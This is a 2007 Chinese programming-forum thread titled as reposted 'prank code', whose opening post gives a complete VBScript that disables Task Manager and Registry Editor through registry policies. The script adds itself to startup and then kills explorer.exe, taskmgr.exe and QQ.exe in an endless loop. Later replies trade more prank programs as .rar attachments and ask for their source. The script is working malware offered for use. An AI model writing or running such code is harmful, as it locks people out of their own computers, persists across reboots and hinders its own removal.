| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 834 人关注过本帖
标题:[转载]也是整人的代码
只看楼主 加入收藏
找不到服务器
Rank: 4
等 级:贵宾
威 望:12
帖 子:2937
专家分:1
注 册:2006-8-29
结帖率:33.33%
收藏
 问题点数:0 回复次数:6 
[转载]也是整人的代码

On Error Resume Next
Dim w, path, kp, i, WMI, ps, p
Set w = CreateObject( "WScript.Shell" )
path = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\"
\'禁止任务管理器
kp = path & "DisableTaskMgr"
i = w.RegRead(kp)
If Err.Number Then
i = 0
Err.Clear
End If
If i <> 1 Then w.RegWrite kp, 1, "REG_DWORD"
\'禁止注册表编辑器
kp = path & "DisableRegistryTools"
i = w.RegRead(kp)
If Err.Number Then
i = 0
Err.Clear
End If
If i <> 1 Then w.RegWrite kp, 1, "REG_DWORD"
\'自启动
path = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\explorer"
kp = w.RegRead( path )
If Err.Number Then
kp = ""
Err.Clear
End If
If StrComp(kp, WScript.ScriptFullName, 1) Then w.RegWrite path, WScript.ScriptFullName
\'释放变量
path = ""
kp = ""
Set w = Nothing

Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2")
Set ps = WMI.ExecQuery( "Select * From Win32_Process Where Name = \'explorer.exe\' Or Name = \'taskmgr.exe\' Or Name = \'QQ.exe\'")
For Each p in ps
p.Terminate()
Next

Dim objLatestProcess
Set ps = WMI.ExecNotificationQuery("select * from __instancecreationevent within 1 where TargetInstance isa \'Win32_Process\' And (TargetInstance.Name=\'explorer.exe\' Or TargetInstance.Name=\'taskmgr.exe\' Or TargetInstance.Name=\'QQ.exe\')")
Do
Set p = ps.NextEvent
p.TargetInstance.Terminate()
Loop

上面的整人代码,阻止了\'taskmgr.exe\' 、\'QQ.exe\'和\'explorer.exe\' 的运行

搜索更多相关主题的帖子: 整人 代码 
2007-03-02 19:54
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
收藏
得分:0 
这么喜欢整人啊,我也有几个,对计算机不会有什么伤害,重启就没事了

雁无留踪之意,水无取影之心
2007-03-02 19:59
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
收藏
得分:0 
这么喜欢整人啊,我也有几个,对计算机...
TmoizRkM.rar (11.23 KB) [转载]也是整人的代码



雁无留踪之意,水无取影之心
2007-03-02 20:00
灵珠子
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2006-10-15
收藏
得分:0 
楼上的大虾,能不能把代码也共享一下
2007-03-02 20:26
找不到服务器
Rank: 4
等 级:贵宾
威 望:12
帖 子:2937
专家分:1
注 册:2006-8-29
收藏
得分:0 
回复:(PcrazyC)这么喜欢整人啊,我也有几个,对计算机...
以下是引用PcrazyC在2007-3-2 20:00:20的发言:
[attach]17189[/attach]

这个有什么用?


史上点击数最高的贴
http://bbs.bccn.net/thread-146005-1-1.html
2007-03-02 20:27
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
收藏
得分:0 

就一点点代码,没什么的,只是在调试程序的时候不小心遇到了

楼上的是不是觉得不够狠,这种东西不要搞得太狠,适可而至,玩玩而矣


雁无留踪之意,水无取影之心
2007-03-02 20:53
PcrazyC
Rank: 6Rank: 6
等 级:贵宾
威 望:29
帖 子:5652
专家分:0
注 册:2006-10-20
收藏
得分:0 
回复:(灵珠子)楼上的大虾,能不能把代码也共享一下...
glwzejfi.rar (24.69 KB) [转载]也是整人的代码



雁无留踪之意,水无取影之心
2007-03-02 20:58
快速回复:[转载]也是整人的代码
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.028441 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved